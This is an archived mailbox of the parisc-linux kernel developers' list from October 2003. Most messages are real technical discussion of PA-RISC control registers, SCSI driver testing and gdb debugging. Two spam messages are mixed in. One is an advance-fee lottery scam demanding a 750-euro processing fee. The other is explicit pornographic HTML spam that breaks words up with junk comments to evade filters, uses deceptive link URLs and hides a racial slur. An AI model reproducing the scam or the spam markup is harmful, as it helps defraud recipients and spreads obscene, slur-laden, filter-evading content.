Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 22:14:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7ECA94841
	for <parisc-linux@parisc-linux.org>; Sun, 12 Oct 2003 22:14:50 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 71832298048; Sun, 12 Oct 2003 22:14:49 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 03236-08; Sun, 12 Oct 2003 22:14:49 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E6FCC298038; Sun, 12 Oct 2003 22:14:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20031013031258.GC2467@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19806

On Sun, Oct 12, 2003 at 09:12:58PM -0600, Grant Grundler wrote:
> On Sun, Oct 12, 2003 at 04:07:50PM +0000, Joel Soete wrote:
> > Why twice 'mtctl   %r0, %cr17'?
> 
> Good question. No clue. Looks like a brain fart since clearing it
>  once should work unless there's a weird bug. I'll remove it.

definitely not a brainfart. Read PA2.0 arch book (section 2) where
it talks about cr17/cr18. CR17 is two registers and writing it twice
clear both head/tail of the IIAS. Just like cr18 is also written twice.

sorry for not catching that the first time around.
grant


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 willy
Date: Mon, 13 Oct 2003 13:34:43 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <3F8A272E0000052B@ocpmta3.freegates.net>
References: <3F892DC8.30307@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622870 32568 80.91.229.3 (22 Nov 2014 02:21:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: willy@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 13 05:34:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 328704841; Mon, 13 Oct 2003 05:34:45 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1A90yK-0000Aj-00; Mon, 13 Oct 2003 13:34:44 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 13 Oct 2003 13:34:43 +0200
In-Reply-To: <3F892DC8.30307@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19807

Matthew,

2.6.0-test7-pa6 boot well on my b180:
[...]
eth0: Digital DS21143 Tulip rev 65 at 0xff00, 00:10:83:35:2A:A9, IRQ 96.
sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18f
Using anticipatory io scheduler
  Vendor: SEAGATE   Model: ST39140WS         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:5:0: tagged command queuing enabled, command queue depth 16.
  Vendor: SEAGATE   Model: ST39140WS         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
st: Version 20030811, fixed bufsize 32768, s/g segs 256
sym0:5: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 sda10 >
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sdb: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sdb: drive cache: write back
 sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 sdb7 sdb8 sdb9 sdb10 >
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 5, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 6, lun 0,  type 0
[...]

I trust that confirm it well uses 'scsi0 : sym-2.1.18f' :)

I run successfully ssh, multi-gnome-terminal, gkrellm and mainly recompile
this kernel with gcc-3.3.2 (20030908). All seems to work fine: uptime 2h25min
:)

Congratulation,
    Joel

>-- Original Message --
>Date: Sun, 12 Oct 2003 10:32:40 +0000
>From: Joel Soete <soete.joel@tiscali.be>
>To:  willy@parisc-linux.org
>Subject: Re: [parisc-linux-cvs] linux-2.6 willy
>
>
>Matthew Wilcox wrote:

>CVSROOT:	/var/cvs
>Module name:	linux-2.6
>Changes by:	willy	03/10/10 13:59:56
>
>Modified files:
>	.              : Makefile 
>
>Log message:
>2.6.0-test7-pa5:
>2.1.18f of the sym driver.  I want people to test this 
>ne.
>  
>
Ok Matthew, I will test it on my b180 on monday

hth,
    Joel





-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
Date: Mon, 13 Oct 2003 13:44:28 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <3F8A272E00000550@ocpmta3.freegates.net>
References: <20031012200201.GC23999@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622870 32575 80.91.229.3 (22 Nov 2014 02:21:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 13 05:44:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 260AE4841
	for <parisc-linux@parisc-linux.org>; Mon, 13 Oct 2003 05:44:32 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A917l-0001qg-00; Mon, 13 Oct 2003 13:44:29 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 13 Oct 2003 13:44:28 +0200
In-Reply-To: <20031012200201.GC23999@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19808

Hi Carlos,

I just haven't such hw at my office where otc i can do some other check on
the b2k model.

On this b2k (also installed with unstable debian) run fine the same release
of evolution (otc what i said).
But it is booted with last 2.4 (a merge of 23-pre7 and 22-pa12) with 256M
of ram (only 128k for c110) and without mozilla-psm (a recommended or suggested
additional pkg added on c110).

So a lot of test to figure out the present pb :)

Thanks a lot ( I will advise you :) )
    Joel

>-- Original Message --
>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: parisc-linux@parisc-linux.org
>Date: Sun, 12 Oct 2003 16:02:02 -0400
>Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
>
>
>On Sun, Oct 12, 2003 at 06:42:55PM +0000, Joel Soete wrote:
> Hello Carlos,
> 
> I launch 'gbd evolution'
> (gdb) run
> to determine the new address in this env but failed before with message:
> Program received signal SIG37, Real-time event 37.

>> 0x4193c574 in malloc_set_state () from /lib/libc.so.6
> 
> what's your opinion?

That's libpthreads realtime singal mechanism working.
You need to set "handle all nostop" and "handle all pass" in gdb.

Then you can do the math with /proc/<pid>
>maps and the dying address to
calculate the _real_ library offset and function symbolic name.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman
>listinfo/parisc-linux



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: loteriaprimitiva2001@starspath.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONGRATULATIONS AND BEST REGARDS.
Date: Thu, 13 Nov 2003 20:34:16 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20031013183331.65609488D@dsl2.external.hp.com>
Reply-To: loteriaprimitiva2001@starspath.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;
	charset="US-ASCII"
X-Trace: ger.gmane.org 1416622870 32578 80.91.229.3 (22 Nov 2014 02:21:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 13 12:33:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ADSL (pooladsl-a-9-250.ipcom.comunitel.net [212.145.200.250])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65609488D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Oct 2003 12:33:31 -0600 (MDT)
X-Priority: 3
X-Library: Indy 9.0.3-B
X-Mailer: Foxmail
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19809

LOTTERIA   LA   PRIMITIVA.
AVNIDA DE AMERICA 137, MADRID - ESPAA


FROM: THE DESK OF THE PROMOTIONS MANAGER,
INTERNATIONAL PROMOTIONS/PRIZE AWARD DEPARTMENT,
REF: LP/26510460037/02 BATCH: 24/00319/IPD

                   ( CONGRATULATION)

DEAR SIR,
                AWARD NOTIFICATION FINAL NOTICE.

We are pleased to inform you of the announcement, of winners of the
LOTTERY PRIMITIVA SWEEPSTAKES/INTERNATIONAL PROGRAMS held on 4th 
december,2002.the late release of this result was due to difficulties encountered in sorting out mixed up numbers and email addresses,thats why we have been working 24 hours to see that everything is ok.

Your name is attached to ticket number 004-05117963-198, with serial
number 99375 drew the lucky numbers 31-33 -34-35-36-42, and 
consequently,won the lottery in the 3rd category. You have therefore been approved for a lump sum pay out of (uros 847,824,) EIGHT HUNDRED AND FOURTY SEVEEN THOUSAND,EIGHT HUNDRED AND TWENTY-FOUR EUROS.  in cash credited to file No:LP/26510460037/02.This is from total prize money of EUROS (80,400,000.00,)EIGHTY MILLION FOUR HUNDRED THOUSAND EUROS, shared among the twenty two international winners in this category.

All participants were selected through a computer ballot system drawn
form 25,000 names from Australia, New Zealand, America, Europe, North
America and Asia as part of International Promotions Program, which is
conducted annually. CONGRATULATIONS!!! Your fund is now insured to your
name. Due to the mix up of some numbers and names, however you are please advise to keep this award away from public notice, until your claim has been processed and your money remitted to your account.
This is part of our security protocol to avoid double claiming or
unscrupulous acts by participants of this program. We hope with a part
of you prize, you will participate in our end of year high stakes 
Euros 1.1 billion International Lottery. To begin your claim, please You have to pay the form fee whis is EU750(seven hundred and fifty euros)for the processing and remittance of your fund into the bank of your choice,or you can contact your claims agent, Mr Michel Sarda (FOREIGN OPERATION MANAGERS)for more explanation.
at TEL:00-34-637092192,EMAIL:LUCKYSRIKE@STARSPATH.COM

   For due processing and remittance of your prize money to a
designated account with our bankers. Remember, all prize money must be
claimed not later than 27th NOVENBER, 2003. After this date, all funds
will be returned as unclaimed. NOTE: In order to avoid unnecessary
delays and complications, please remember to quote your reference and
batch numbers in every one of your correspondences with your agent.
Furthermore, should there be any change of your address, do inform your
claims agent as soon as possible. Congratulations again from all our
staff and thank you for being part of our promotions programm.

(CONGRATULATION)

REGARDS

MR RUBEN GARCIA 
MANAGING DIRECTOR


From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] flush_tlb_all_local:
Date: Mon, 13 Oct 2003 14:57:19 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200310131857.h9DIvKqS029380@hiauly1.hia.nrc.ca>
References: <20031013041448.GD2467@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622871 32582 80.91.229.3 (22 Nov 2014 02:21:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:11 +0000 (UTC)
Cc: soete.joel@tiscali.be, parisc-linux@parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 13 12:57:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 64D52488D; Mon, 13 Oct 2003 12:57:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9DIvKDF029381;
	Mon, 13 Oct 2003 14:57:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9DIvKqS029380;
	Mon, 13 Oct 2003 14:57:20 -0400 (EDT)
In-Reply-To: <20031013041448.GD2467@colo.lackof.org> from "Grant Grundler" at Oct 12, 2003 10:14:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19810

> On Sun, Oct 12, 2003 at 09:12:58PM -0600, Grant Grundler wrote:
> > On Sun, Oct 12, 2003 at 04:07:50PM +0000, Joel Soete wrote:
> > > Why twice 'mtctl   %r0, %cr17'?
> > 
> > Good question. No clue. Looks like a brain fart since clearing it
> >  once should work unless there's a weird bug. I'll remove it.
> 
> definitely not a brainfart. Read PA2.0 arch book (section 2) where
> it talks about cr17/cr18. CR17 is two registers and writing it twice
> clear both head/tail of the IIAS. Just like cr18 is also written twice.

Probably, there should be a comment in the code noting this special
behavior.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] flush_tlb_all_local:
Date: Mon, 13 Oct 2003 20:44:26 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20031013194426.GS27861@parcelfarce.linux.theplanet.co.uk>
References: <20031013041448.GD2467@colo.lackof.org> <200310131857.h9DIvKqS029380@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622871 32585 80.91.229.3 (22 Nov 2014 02:21:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:11 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	soete.joel@tiscali.be, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 13 13:44:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4B0B5488D; Mon, 13 Oct 2003 13:44:28 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A98cE-00069K-R4; Mon, 13 Oct 2003 20:44:26 +0100
Content-Disposition: inline
In-Reply-To: <200310131857.h9DIvKqS029380@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19811

On Mon, Oct 13, 2003 at 02:57:19PM -0400, John David Anglin wrote:
> Probably, there should be a comment in the code noting this special
> behavior.

Done.  They're deliberately a little bit cryptic to ensure that people
actually go and look at the arch book, but they are different so people
don't think this might be a merge error.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Colin Cortez" <7reqllabir@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] yeltowknife lat
Date: Mon, 13 Oct 03 14:42:58 GMT
Lines: 86
Approved: news@gmane.org
Message-ID: <59s$-8$9ik$x$-i-g$1k98dp01$fr@dlx.yj>
Reply-To: "Colin Cortez" <7reqllabir@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="BA1C5C0DB4DA_E5_E.B5"
X-Trace: ger.gmane.org 1416622871 32590 80.91.229.3 (22 Nov 2014 02:21:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:11 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 13 17:53:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pcp04960893pcs.pimaco01.az.comcast.net (pcp04960893pcs.pimaco01.az.comcast.net [68.38.51.156])
	by dsl2.external.hp.com (Postfix) with SMTP id 6A4A24856
	for <parisc-linux@parisc-linux.org>; Mon, 13 Oct 2003 17:53:33 -0600 (MDT)
Original-Received: from [203.40.126.148] by pcp04960893pcs.pimaco01.az.comcast.net with ESMTP id 54194240; Mon, 13 Oct 2003 14:42:58 -0600
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19812

--BA1C5C0DB4DA_E5_E.B5
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body bgcolor=3D"#FFFFFF" text=3D"#FFFFFF" link=3D"#CC0000" vlink=3D"#CC00=
00" alink=3D"#CC0000"><!-- chunk -->
<div align=3D"center"><b><font face=3D"Times New Roman, Times, serif" size=
=3D"6" color=3D"#CC0000">Do
 you lo<!-- winy -->ve l<!-- sapling -->es<!-- saucepan -=
->bia<!-- c -->ns?</font></b></div>
<table width=3D"482" height=3D"148" align=3D"center" bgcolor=3D"B8E3B8"><!=
-- gaunt -->
<tr><td align=3D"center" valign=3D"middle" bgcolor=3D"#1037F3" height=3D"1=
44"> 
<!-- deplete --><table width=3D"473" height=3D"214" align=3D"center" =
bgcolor=3D"B8E3B8">
<tr><td align=3D"center" valign=3D"middle" bgcolor=3D"#5256F8" height=3D"2=
10"> 
<table width=3D"431" height=3D"1"><!-- pathogenic --><tr><td align=3D"le=
ft" valign=3D"top" height=3D"1"> 
<p><font color=3D"#FFFFFF" face=3D"Verdana, Arial, Helvetica, sans-serif" =
size=3D"3">Lesbian
 Sexx</font><font size=3D"1" color=3D"#FFFFFF" face=3D"Verdana, Arial, Hel=
vetica, sans-serif"><b> -&nbsp;</b> </font>See the ho<!-- ti -->=
tte<!-- cube -->st le<!-- corrosion -->sbi<!-- storekeep -->=
ans li<!-- typhus -->cki<!-- cravat -->ng and
 su<!-- annals -->cki<!-- nanking -->ng s<!-- parimutuel -->m=
oo<!-- radiology -->th ba<!-- axisymmetric -->ld p<!-- comptroller -->=
uss<!-- posable -->ys - t<!-- e'er -->ast<!-- brinkmanship --=
>ing other gi<!-- astigmat -->rls wa<!-- incisive -->rm j<!-- =
perth -->ui<!-- stratton -->ces.<br>S<!-- rosen -->ee
 everything from t<!-- gentle -->it <!-- earnest -->su<!-- =
note -->ck<!-- alberto -->ing to d<!-- tactic -->i<!-- =
dispute -->ld<!-- inhabitant -->o f<!-- oldster -->u<!-- =
firebug -->cki<!-- testimonial -->ng at l<!-- pew -->esb<!-=
- axial -->ian s<!-- caddis -->ex<!-- oklahoma -->x
 we have it all!</p><table width=3D"444" height=3D"1"><!-- hypocrisy --=
>
 <tr><td align=3D"center" height=3D"1"><p align=3D"center"><font size=3D"4=
">S<!-- omaha -->ee the
 ho<!-- borate -->tte<!-- gogo -->st l<!-- paramount -->e=
<!-- backtrack -->sbi<!-- chamfer -->ans s<!-- pandemic -->uck=
<!-- instrumentation -->ing and f<!-- baltimorean -->uc<!-- lindstrom -->=
kin<!-- beset -->g</font></p></td></tr></table>
 <p align=3D"left">Se<!-- christiana -->e - st<!-- chordate -->rea<!=
-- percussion -->ming v<!-- yawn -->id<!-- compartment -->eos, =
li<!-- triad -->ve xx<!-- composite -->x se<!-- prominent -->=
x c<!-- adulthood -->ha<!-- breathe -->t, ha<!-- board -->r=
dc<!-- bodybuilder -->ore
 m<!-- implode -->ovi<!-- codicil -->es, e<!-- nasa -->r=
ot<!-- dirichlet -->ic s<!-- skipjack -->e<!-- fought -->x st=
o<!-- mandrel -->ries, thousands of pi<!-- attitude -->ct<!-- =
contemplate -->ures and much
 mu<!-- cockpit -->ch m<!-- paternoster -->ore..<!-- tag --=
>.. <br>Go wit<!-- massey -->h the b<!-- wherever -->est - L<!--=
 contract -->es<!-- abetting -->bia<!-- taxpayer -->ns S<!-- =
idaho -->ex<!-- mystique -->x<a href=3D"http://cowhide@www=
surfbling.com/ls/index.html?demultiplex">&nbsp;</a>
 <a href=3D"http://irritable@www.surfbling.com/ls/index.html?=
soak">-- Now
 off<!-- nigger -->er<!-- congratulatory -->ing F<!-- integral -->=
r<!-- cankerworm -->ee tou<!-- aniseikonic -->r --</a></p></td></tr></t=
able><!-- central --></td></tr></table></td></tr></table>
<table width=3D"462" align=3D"center" height=3D"51"><!-- mendacity -->
